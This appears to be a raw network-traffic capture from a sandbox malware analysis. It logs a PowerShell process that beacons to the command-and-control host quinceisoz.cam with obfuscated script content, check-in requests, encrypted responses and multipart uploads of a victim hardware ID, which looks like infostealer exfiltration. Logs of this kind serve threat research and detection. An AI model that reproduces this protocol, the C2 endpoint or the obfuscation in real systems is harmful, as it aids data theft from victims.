2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 6f 66 70 6c 68 4e 66 20 3d 20 28 28 33 39 37 20 2d 20 24 51 6f 66 70 6c 68 4e 66 29 20 2b 20 28 28 28 28 28 28 2d 37 35 30 32 31 20 2a 20 24 59 51 55 69 6d 48 48 77 29 20 2d 20 2d 36 36 30 29 20 2b 20 35 37 33 36 29 20 2d 20 24 4a 4f 44 72 72 75 29 20 2a 20 24 4c 6b 56 48 53 56 73 46 6b 68 29 29 29 0d 0a 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 24 51 6f 66 70 6c 68 4e 66 20 3d 20 28 28 28 28 28 2d 33 36 20 2a 20 24 4d 6c 4a 57 6a 72 59 70 29 20 2d 20 28 28 28 28 28 24 5a 46 51 72 71 73 48 53 69 46 4d 20 2b 20 24 5a 6f 6d 77 5a 6f 29 20 2d 20 2d 36 29 20 2d 20 39 32 31 30 39 29 20 2d 20 24 4a 4f 44 72 72 75 29 29 29 20 2a 20 28 28 28 39 30 34 38 20 2a 20 24 6a 7a 79 6a 58 58 61 6c 59 29 20 2d 20 2d 39 33 35 36 38 39 29 29 29 29 20 2d Data Ascii: ofplhNf = ((397 - $QofplhNf) + ((((((-75021 * $YQUimHHw) - -660) + 5736) - $JODrru) * $LkVHSVsFkh))) } $QofplhNf = (((((-36 * $MlJWjrYp) - ((((($ZFQrqsHSiFM + $ZomwZo) - -6) - 92109) - $JODrru))) * (((9048 * $jzyjXXalY) - -935689)))) -
2025-01-08 12:55:08 UTC	1369	IN	Data Raw: 20 2d 67 74 20 24 57 54 79 63 6a 62 51 4f 65 29 20 2d 61 6e 64 20 28 2d 39 37 39 31 20 2d 67 65 20 24 47 67 6a 64 54 56 54 4e 50 63 29 29 20 7b 0d 0a 20 20 20 20 20 24 46 4b 75 76 62 58 5a 4f 45 76 5a 20 3d 20 28 28 28 28 35 38 35 20 2d 20 24 46 4b 75 76 62 58 5a 4f 45 76 5a 29 20 2d 20 24 67 68 66 64 72 6f 66 29 20 2d 20 2d 36 30 32 38 37 34 29 20 2a 20 2d 38 33 29 0d 0a 7d 0d 0a 24 73 4f 65 4b 49 59 44 4b 71 65 59 20 3d 20 28 28 38 39 34 20 2d 20 2d 35 39 32 29 20 2d 20 35 34 29 0d 0a 24 51 6f 66 70 6c 68 4e 66 20 3d 20 28 28 24 6a 7a 79 6a 58 58 61 6c 59 20 2d 20 24 59 51 55 69 6d 48 48 77 29 20 2d 20 24 6c 66 7a 68 6e 4f 42 4a 5a 29 0d 0a 69 66 20 28 28 37 39 36 31 36 20 2d 6c 65 20 36 35 34 38 39 29 20 2d 6f 72 20 28 24 73 4f 65 4b 49 59 44 4b 71 65 Data Ascii: -gt $WTycjbQOe) -and (-9791 -ge $GgjdTVTNPc)) { $FKuvbXZOEvZ = ((((585 - $FKuvbXZOEvZ) - $ghfdrof) - -602874) * -83)}$sOeKIYDKqeY = ((894 - -592) - 54)$QofplhNf = (($jzyjXXalY - $YQUimHHw) - $lfzhnOBJZ)if ((79616 -le 65489) -or ($sOeKIYDKqe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49977	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:33 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: quinceisoz.cam
2025-01-08 12:56:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-08 12:56:34 UTC	1133	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fd010mmfba10h8672ip1sh0qna; expires=Sun, 04 May 2025 06:43:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VyLpWoUxl0p5mtqBbMqGSprkLHQwQtV6DWDpSIt251zLIeWtJ%2BxaVNA17xPRKB4M%2Bikgy%2FucImgQbPOvqgXwON6a5YymYZthXB%2Bec%2F%2BlmJt2G2pAfddVgvH6%2FeKmd8TY5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec592b5dc90f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1620&rtt_var=624&sent=7&recv=8&lost=0&retrans=0&sent_bytes=3043&recv_bytes=905&delivery_rate=2594786&cwnd=222&unsent_bytes=0&cid=4902bff5ed407640&ts=458&x=0"
2025-01-08 12:56:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-08 12:56:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49978	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:34 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: quinceisoz.cam
2025-01-08 12:56:34 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 57 47 36 49 36 53 2d 2d 77 65 62 35 35 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=WG6I6S--web55&j=
2025-01-08 12:56:35 UTC	1125	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5tmbhp3peabvnq1qghbe2vvs0m; expires=Sun, 04 May 2025 06:43:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WmAvJNR84h0vscC%2BaGx9NUbjpsO2jwYpucqQIcmf3WxQIs%2BFV5fjwq7TB24bbF6O6WxT%2F9eKzvuVsdkSJp3dXpvxMOeVpezlPge59gsMGfr7XRhYtQorvbJgxqUKKz35ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec59312db50f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1610&min_rtt=1602&rtt_var=618&sent=5&recv=6&lost=0&retrans=0&sent_bytes=3044&recv_bytes=945&delivery_rate=2618051&cwnd=222&unsent_bytes=0&cid=57ff6f4f84bdbf4c&ts=504&x=0"
2025-01-08 12:56:35 UTC	244	IN	Data Raw: 34 39 39 34 0d 0a 73 46 43 64 77 33 69 2b 71 55 6c 6e 56 36 66 4b 53 70 42 49 76 2f 61 57 58 45 46 4e 52 4c 47 79 6e 45 45 7a 4b 4e 7a 32 52 79 6a 4c 63 75 76 68 51 6f 71 46 61 78 51 79 68 66 41 2b 34 6a 33 61 32 72 51 39 4a 57 39 2b 31 39 50 77 4d 6c 59 45 2f 6f 41 71 43 6f 6f 32 2f 4b 38 4c 32 34 56 72 41 69 2b 46 38 42 48 72 61 74 71 59 74 47 5a 6a 4b 43 37 54 30 2f 41 6a 55 6b 4f 7a 68 69 74 4c 32 44 7a 36 71 78 33 64 7a 53 67 4c 4f 73 4b 76 4c 2f 45 69 30 5a 2f 37 4e 43 78 76 61 4a 50 58 35 6d 4d 4a 43 70 47 54 4d 30 6e 39 4d 65 36 6f 57 73 4f 46 4d 6b 55 79 79 65 68 77 73 69 6e 61 6c 50 6f 36 4a 53 59 73 32 64 72 34 49 6c 64 43 72 4a 38 68 51 4e 67 79 2b 61 6f 58 31 4e 6b 6c 41 54 33 4a 71 53 58 78 61 70 50 55 38 79 Data Ascii: 4994sFCdw3i+qUlnV6fKSpBIv/aWXEFNRLGynEEzKNz2RyjLcuvhQoqFaxQyhfA+4j3a2rQ9JW9+19PwMlYE/oAqCoo2/K8L24VrAi+F8BHratqYtGZjKC7T0/AjUkOzhitL2Dz6qx3dzSgLOsKvL/Ei0Z/7NCxvaJPX5mMJCpGTM0n9Me6oWsOFMkUyyehwsinalPo6JSYs2dr4IldCrJ8hQNgy+aoX1NklAT3JqSXxapPU8y
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 5a 6a 64 32 61 41 34 76 30 79 51 46 2b 7a 68 43 4d 4b 7a 58 7a 6d 34 52 33 51 69 33 4e 46 50 63 6d 6d 4c 66 45 6c 32 70 58 30 4c 43 77 76 4a 64 76 59 2b 69 6c 65 52 62 47 61 4c 30 33 61 4f 2f 69 75 48 64 54 4e 4a 41 5a 31 69 2b 67 76 36 6d 71 46 31 4e 51 75 49 43 77 79 33 73 47 2b 50 42 39 54 2f 70 4d 70 43 6f 70 79 2b 61 38 62 30 63 73 35 44 54 37 4f 72 54 72 35 49 39 43 5a 39 44 4d 70 49 43 58 54 31 2f 51 70 58 6b 43 36 6d 53 68 4d 30 6a 4b 2f 37 31 72 62 30 32 74 64 64 65 61 74 4f 50 55 6d 79 39 62 4f 66 6a 78 68 50 35 50 58 38 6d 4d 4a 43 72 61 52 4a 6b 6e 5a 50 66 79 70 45 63 37 4c 4f 51 4d 34 77 4c 6f 75 39 79 54 58 6c 2b 59 30 4c 53 6b 6c 32 74 76 33 4a 6c 5a 4f 2f 74 70 6c 54 63 70 79 70 2b 45 37 30 63 41 6e 44 79 4c 46 36 44 65 38 4d 35 32 54 2b Data Ascii: Zjd2aA4v0yQF+zhCMKzXzm4R3Qi3NFPcmmLfEl2pX0LCwvJdvY+ileRbGaL03aO/iuHdTNJAZ1i+gv6mqF1NQuICwy3sG+PB9T/pMpCopy+a8b0cs5DT7OrTr5I9CZ9DMpICXT1/QpXkC6mShM0jK/71rb02tddeatOPUmy9bOfjxhP5PX8mMJCraRJknZPfypEc7LOQM4wLou9yTXl+Y0LSkl2tv3JlZO/tplTcpyp+E70cAnDyLF6De8M52T+
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 70 33 74 79 2b 62 52 46 4e 70 74 52 39 43 76 67 78 36 36 49 51 6e 76 34 6f 43 7a 76 43 76 6d 6a 74 5a 4d 54 55 38 7a 4a 6a 64 32 62 65 30 66 59 6c 51 30 57 7a 6c 79 74 45 33 54 66 77 71 52 72 63 78 69 34 42 50 73 36 72 4a 66 59 34 31 35 54 38 4f 79 49 6c 4c 4a 4f 65 76 69 52 4a 43 75 62 55 46 46 33 5a 63 4d 71 69 46 4e 4c 4d 50 55 55 71 69 37 46 6f 39 53 61 64 7a 4c 51 7a 4b 79 6f 6a 33 4e 48 30 4c 56 52 41 73 70 77 72 53 63 41 39 2b 36 45 57 31 4d 45 6d 43 7a 48 4e 6f 53 50 35 4c 4e 32 56 2f 6e 35 74 62 79 48 4c 6b 4b 5a 6a 5a 55 32 79 6d 53 6f 49 35 7a 48 78 72 78 33 4b 69 7a 52 4c 4c 49 57 76 4a 4c 4a 79 6e 5a 6a 39 50 69 67 6c 49 74 50 58 38 79 5a 53 54 62 32 5a 49 6b 44 63 4e 66 75 74 45 39 48 4e 4b 77 49 78 77 4c 6f 74 2b 79 62 52 31 4c 70 2b 4a 44 Data Ascii: p3ty+bRFNptR9Cvgx66IQnv4oCzvCvmjtZMTU8zJjd2be0fYlQ0WzlytE3TfwqRrcxi4BPs6rJfY415T8OyIlLJOeviRJCubUFF3ZcMqiFNLMPUUqi7Fo9SadzLQzKyoj3NH0LVRAspwrScA9+6EW1MEmCzHNoSP5LN2V/n5tbyHLkKZjZU2ymSoI5zHxrx3KizRLLIWvJLJynZj9PiglItPX8yZSTb2ZIkDcNfutE9HNKwIxwLot+ybR1Lp+JD
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 76 69 52 64 43 75 62 55 4c 45 50 41 50 50 47 6f 46 39 72 44 4c 41 73 34 7a 71 34 6a 39 53 33 62 6d 66 77 7a 4a 69 77 6e 31 39 72 73 49 46 70 41 73 35 35 6c 42 4a 49 31 35 2b 46 43 6e 4f 77 6e 4c 43 58 65 75 6a 36 79 4e 5a 4f 4e 74 44 6b 76 62 33 36 54 30 2f 45 71 58 6b 4b 32 6d 79 70 4f 33 44 54 35 72 42 2f 54 77 54 6b 4e 4f 38 69 6a 4a 2f 6b 34 33 5a 6e 77 4d 69 63 6e 4c 64 6d 51 73 47 4e 57 55 76 37 4d 5a 58 2f 66 50 66 2b 69 44 4a 7a 55 5a 52 78 31 77 71 52 6f 71 6d 72 52 6d 76 51 78 4c 79 4d 74 32 39 48 79 4c 56 5a 50 74 35 77 74 57 4e 4d 32 39 36 41 55 30 38 6f 76 41 44 44 42 72 79 7a 30 4a 5a 33 61 74 44 6b 37 62 33 36 54 2f 39 6b 57 45 32 75 45 31 44 6f 45 79 33 4c 34 72 56 71 45 69 79 63 47 4f 63 32 6e 4c 76 73 6d 31 35 33 2f 4d 69 67 72 4b 74 72 Data Ascii: viRdCubULEPAPPGoF9rDLAs4zq4j9S3bmfwzJiwn19rsIFpAs55lBJI15+FCnOwnLCXeuj6yNZONtDkvb36T0/EqXkK2mypO3DT5rB/TwTkNO8ijJ/k43ZnwMicnLdmQsGNWUv7MZX/fPf+iDJzUZRx1wqRoqmrRmvQxLyMt29HyLVZPt5wtWNM296AU08ovADDBryz0JZ3atDk7b36T/9kWE2uE1DoEy3L4rVqEiycGOc2nLvsm153/MigrKtr
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 45 75 34 68 69 4a 44 77 44 7a 79 72 68 4c 55 77 69 6f 42 4d 4d 69 75 4a 50 67 72 32 70 72 36 4e 6d 4e 68 5a 74 54 49 76 6e 73 52 61 36 36 50 4e 31 7a 66 45 2f 4b 75 57 73 4f 46 4d 6b 55 79 79 65 68 77 73 69 50 50 6b 50 6b 73 4b 69 67 6f 33 4e 50 73 49 6c 78 42 72 4a 4d 71 54 74 55 2b 2b 61 34 63 33 63 34 68 43 54 4c 41 6f 79 66 2b 61 70 50 55 38 79 5a 6a 64 32 62 39 32 2b 30 30 55 6b 53 31 67 6a 34 4b 7a 58 7a 6d 34 52 33 51 69 33 4e 46 4e 73 36 6a 4c 50 49 6d 33 5a 44 35 50 6a 45 67 49 64 54 5a 39 54 46 62 54 62 6d 66 4c 55 48 64 4e 4f 32 74 46 4d 37 4f 4f 52 64 31 69 2b 67 76 36 6d 71 46 31 4d 49 35 4d 7a 38 6c 6b 65 48 6f 49 45 64 42 73 35 68 6c 56 5a 77 72 76 36 59 57 6e 4a 4e 72 41 7a 72 4d 71 79 66 7a 49 39 47 5a 38 54 63 6d 4c 69 44 58 32 76 51 6a Data Ascii: Eu4hiJDwDzyrhLUwioBMMiuJPgr2pr6NmNhZtTIvnsRa66PN1zfE/KuWsOFMkUyyehwsiPPkPksKigo3NPsIlxBrJMqTtU++a4c3c4hCTLAoyf+apPU8yZjd2b92+00UkS1gj4KzXzm4R3Qi3NFNs6jLPIm3ZD5PjEgIdTZ9TFbTbmfLUHdNO2tFM7OORd1i+gv6mqF1MI5Mz8lkeHoIEdBs5hlVZwrv6YWnJNrAzrMqyfzI9GZ8TcmLiDX2vQj
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 74 72 55 35 49 31 38 2b 46 43 6e 4d 67 73 42 6a 54 50 6f 53 54 39 4c 64 6d 47 2f 6a 6b 78 4c 69 66 59 33 66 49 6a 58 45 65 30 6c 53 78 48 33 6a 2f 34 70 68 58 5a 69 32 56 46 4d 74 33 6f 63 4c 49 4c 30 4a 2f 34 5a 58 6c 76 4f 5a 33 4a 76 69 52 64 43 75 62 55 4a 55 44 58 4f 50 4b 69 46 64 2f 5a 4b 67 4d 6e 78 61 55 69 34 43 44 57 6b 66 6b 7a 4c 69 77 67 31 64 76 79 4d 56 68 4b 76 5a 39 6c 42 4a 49 31 35 2b 46 43 6e 4f 67 38 45 7a 2f 43 70 44 37 35 4b 39 36 43 2b 53 35 6a 59 57 62 43 31 2b 39 6a 43 56 79 75 67 79 4a 56 6e 43 75 2f 70 68 61 63 6b 32 73 44 50 4d 4f 76 4c 76 77 34 32 4a 4c 37 4d 53 6f 6d 49 74 76 54 2f 69 64 56 54 62 75 58 4b 55 48 56 4d 66 43 6c 45 39 4c 43 4a 45 56 37 68 61 38 77 73 6e 4b 64 74 65 38 39 4c 79 4a 6d 7a 4a 37 6e 59 31 5a 47 2f Data Ascii: trU5I18+FCnMgsBjTPoST9LdmG/jkxLifY3fIjXEe0lSxH3j/4phXZi2VFMt3ocLIL0J/4ZXlvOZ3JviRdCubUJUDXOPKiFd/ZKgMnxaUi4CDWkfkzLiwg1dvyMVhKvZ9lBJI15+FCnOg8Ez/CpD75K96C+S5jYWbC1+9jCVyugyJVnCu/phack2sDPMOvLvw42JL7MSomItvT/idVTbuXKUHVMfClE9LCJEV7ha8wsnKdte89LyJmzJ7nY1ZG/
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 4b 63 74 2b 71 44 4e 6e 4d 50 55 63 41 78 71 59 6d 39 54 79 64 69 38 74 77 59 79 41 38 6b 34 6a 48 4f 68 46 4e 73 74 52 39 43 73 63 31 2f 36 59 41 79 73 77 6e 46 44 37 49 70 41 72 39 4c 63 75 58 2b 7a 30 79 4a 6d 72 59 33 62 35 74 45 55 32 6d 31 48 30 4b 2f 54 58 70 6f 6a 58 66 32 69 4a 46 65 34 57 76 50 72 4a 79 6e 61 71 30 4c 43 41 2f 4a 64 7a 42 77 47 4d 4a 55 34 44 55 4c 6c 7a 56 49 76 79 33 45 64 48 48 4f 6a 74 31 6e 66 78 36 6f 48 69 50 78 75 74 2b 50 42 42 6f 6b 39 47 2b 65 32 68 54 2f 6f 4a 6c 45 6f 42 38 76 37 4e 61 68 49 74 73 42 69 66 58 72 69 76 6b 4b 5a 71 71 79 68 6b 31 4a 53 48 44 31 2b 6b 73 45 51 54 2b 6d 32 55 53 36 33 4c 32 70 67 48 4e 33 53 59 56 4d 6f 57 58 5a 72 49 79 6e 63 79 30 43 79 41 68 4b 4e 54 47 37 32 35 32 58 4c 53 54 4e 55 Data Ascii: Kct+qDNnMPUcAxqYm9Tydi8twYyA8k4jHOhFNstR9Csc1/6YAyswnFD7IpAr9LcuX+z0yJmrY3b5tEU2m1H0K/TXpojXf2iJFe4WvPrJynaq0LCA/JdzBwGMJU4DULlzVIvy3EdHHOjt1nfx6oHiPxut+PBBok9G+e2hT/oJlEoB8v7NahItsBifXrivkKZqqyhk1JSHD1+ksEQT+m2US63L2pgHN3SYVMoWXZrIyncy0CyAhKNTG7252XLSTNU
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 37 31 72 4a 77 43 63 44 4f 4e 44 6e 4f 65 51 70 79 35 4f 34 4e 6a 49 69 4b 70 50 76 73 47 4e 4a 43 75 62 55 45 45 6e 63 50 50 69 33 43 35 48 72 49 41 6b 32 79 61 6b 76 73 6d 53 64 6b 72 52 6d 63 47 46 6d 31 38 47 2b 65 77 45 59 35 63 46 32 48 59 4a 67 34 4f 38 44 6e 4e 31 72 58 57 65 4c 36 44 71 79 63 70 33 54 39 79 77 78 4b 53 58 46 30 37 6b 64 62 30 75 7a 6d 32 6c 45 32 54 4c 34 73 51 7a 48 68 79 4d 47 4c 39 2b 57 46 74 6b 6d 32 35 50 75 4f 53 55 4a 42 70 4f 65 76 69 77 52 45 6f 66 55 62 51 72 74 66 4c 2b 35 57 6f 53 4c 48 67 59 37 79 36 38 2b 34 32 66 31 74 38 34 45 59 51 4d 68 78 70 4c 4b 4a 45 46 62 74 5a 6b 70 43 70 78 79 2b 65 46 43 6a 49 56 72 41 53 53 46 38 48 69 67 63 59 6a 48 6f 32 35 78 4d 47 6a 4b 6b 4f 68 6a 43 52 6a 77 31 44 63 4b 69 6e 4b Data Ascii: 71rJwCcDONDnOeQpy5O4NjIiKpPvsGNJCubUEEncPPi3C5HrIAk2yakvsmSdkrRmcGFm18G+ewEY5cF2HYJg4O8DnN1rXWeL6Dqycp3T9ywxKSXF07kdb0uzm2lE2TL4sQzHhyMGL9+WFtkm25PuOSUJBpOeviwREofUbQrtfL+5WoSLHgY7y68+42f1t84EYQMhxpLKJEFbtZkpCpxy+eFCjIVrASSF8HigcYjHo25xMGjKkOhjCRjw1DcKinK
2025-01-08 12:56:35 UTC	1369	IN	Data Raw: 34 56 72 46 33 57 64 36 47 2f 38 4a 39 79 58 2b 6a 30 78 50 53 44 51 78 76 31 6b 62 33 53 62 6d 53 68 50 33 44 58 42 6e 7a 76 57 32 79 59 4b 4d 6f 65 49 4c 2b 51 70 34 36 72 44 4c 79 51 2f 5a 50 58 54 36 43 41 52 42 50 36 4d 5a 52 4b 53 45 2f 57 78 46 39 50 4d 61 53 55 79 30 36 74 6f 76 47 72 5a 31 4b 78 2b 42 69 49 72 31 74 37 35 59 58 42 41 72 70 6b 71 54 5a 41 53 2b 4c 63 5a 6e 49 56 72 43 58 57 64 36 43 6e 34 4f 74 43 62 38 33 49 6b 4e 53 47 54 6e 72 34 74 45 52 4c 2b 6c 53 39 61 33 7a 33 34 37 52 7a 53 78 57 73 61 65 39 7a 6f 50 72 4a 79 6a 74 71 30 4c 47 4e 33 5a 70 54 54 37 44 46 58 53 61 69 58 59 6e 54 73 48 2b 32 6d 43 74 2b 4a 47 67 67 78 30 37 30 72 34 69 33 6a 71 74 6b 73 4a 44 38 6c 6b 65 48 6f 49 46 46 45 75 64 52 72 43 73 70 79 70 2b 45 33 Data Ascii: 4VrF3Wd6G/8J9yX+j0xPSDQxv1kb3SbmShP3DXBnzvW2yYKMoeIL+Qp46rDLyQ/ZPXT6CARBP6MZRKSE/WxF9PMaSUy06tovGrZ1Kx+BiIr1t75YXBArpkqTZAS+LcZnIVrCXWd6Cn4OtCb83IkNSGTnr4tERL+lS9a3z347RzSxWsae9zoPrJyjtq0LGN3ZpTT7DFXSaiXYnTsH+2mCt+JGggx070r4i3jqtksJD8lkeHoIFFEudRrCspyp+E3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49979	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:35 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=65JI2K73L1TM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12808 Host: quinceisoz.cam
2025-01-08 12:56:35 UTC	12808	OUT	Data Raw: 2d 2d 36 35 4a 49 32 4b 37 33 4c 31 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 31 35 31 30 43 38 32 42 32 35 42 34 43 42 31 38 34 46 34 44 30 42 37 30 45 42 34 32 43 31 0d 0a 2d 2d 36 35 4a 49 32 4b 37 33 4c 31 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 35 4a 49 32 4b 37 33 4c 31 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 77 65 62 35 35 0d 0a 2d 2d 36 35 4a 49 32 4b 37 33 4c 31 54 4d 0d 0a Data Ascii: --65JI2K73L1TMContent-Disposition: form-data; name="hwid"3B1510C82B25B4CB184F4D0B70EB42C1--65JI2K73L1TMContent-Disposition: form-data; name="pid"2--65JI2K73L1TMContent-Disposition: form-data; name="lid"WG6I6S--web55--65JI2K73L1TM
2025-01-08 12:56:36 UTC	1134	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cbf6db4upuouesfqhfm4nb9gpq; expires=Sun, 04 May 2025 06:43:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BVtkKBzYdccqOtIFMQ4FPFZ8Qg%2FrJtqPmRx54hAr6pbbNAPoX8UsTnA%2BfbBWH5e6YYaIwwt0riauX%2BStZvM%2BlSbofeXyDopmuHj5CmnViVhhNqu%2FbfikxGWHOaOv2NYX0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec5938592f43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&min_rtt=1545&rtt_var=614&sent=9&recv=18&lost=0&retrans=0&sent_bytes=3045&recv_bytes=13740&delivery_rate=2599406&cwnd=204&unsent_bytes=0&cid=389c70449fc35e76&ts=843&x=0"
2025-01-08 12:56:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 12:56:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49980	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:37 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NQ8CFUDZV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15022 Host: quinceisoz.cam
2025-01-08 12:56:37 UTC	15022	OUT	Data Raw: 2d 2d 4e 51 38 43 46 55 44 5a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 31 35 31 30 43 38 32 42 32 35 42 34 43 42 31 38 34 46 34 44 30 42 37 30 45 42 34 32 43 31 0d 0a 2d 2d 4e 51 38 43 46 55 44 5a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 51 38 43 46 55 44 5a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 77 65 62 35 35 0d 0a 2d 2d 4e 51 38 43 46 55 44 5a 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --NQ8CFUDZVContent-Disposition: form-data; name="hwid"3B1510C82B25B4CB184F4D0B70EB42C1--NQ8CFUDZVContent-Disposition: form-data; name="pid"2--NQ8CFUDZVContent-Disposition: form-data; name="lid"WG6I6S--web55--NQ8CFUDZVContent-Disp
